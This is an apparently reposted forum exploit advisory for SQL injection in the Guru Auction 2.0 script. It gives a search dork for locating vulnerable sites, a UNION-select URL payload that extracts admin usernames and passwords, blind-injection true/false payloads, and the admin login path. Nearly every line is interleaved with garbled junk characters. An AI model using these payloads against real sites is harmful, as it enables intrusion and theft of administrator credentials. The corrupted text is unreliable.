Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
: U% {- G2 n/ b s. I
6 z# b: k; ^6 U6 ~作者 : v3n0m# T6 k) ]3 I [
应用 : Guru Auction 2.0
6 L* B. U" u/ e# y& p7 lPrice : $49+ j1 C7 l0 _9 ~
Vendor : http://www.guruscript.com/
3 G' g. r" {9 i7 l9 |Google Dork : inurl:subcat.php?cate_id=
3 b! [8 x6 \& A! j; @ % z1 H, N$ H7 @
SQLi p0c:
* }; a: P# Q8 Z* a4 ?9 N; D m~~~~~~~~~~
/ s+ }& H0 Q3 Ohttp://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--1 D# t; i/ ~$ t+ w( c% E
4 J! M: Q9 N4 F* k, _1 p; d7 r
1 W" ?0 p; C6 k4 n/ {% ?) ?) G盲注 p0c:
4 K* ?( i8 M6 h* P~~~~~~~~~~
3 p+ i; ~( P4 _" ` z) ?2 whttp://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true0 b7 C2 l) q M& ]" ]
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false
9 H% ~' t, V$ w+ H [5 O& u+ { 2 b3 y* K- F3 Q( i( M1 a3 ]
管理登录入口:, J9 G" M# Y; h& x* q2 D
~~~~~~~~~~% `: g% c8 s) _: w. e- \# Z
http://domain.tld/[path]/admin/: R4 j3 N, F& R; ]2 P1 A1 I" _
|
发表于 2012-12-31 09:24:05
收藏
支持
反对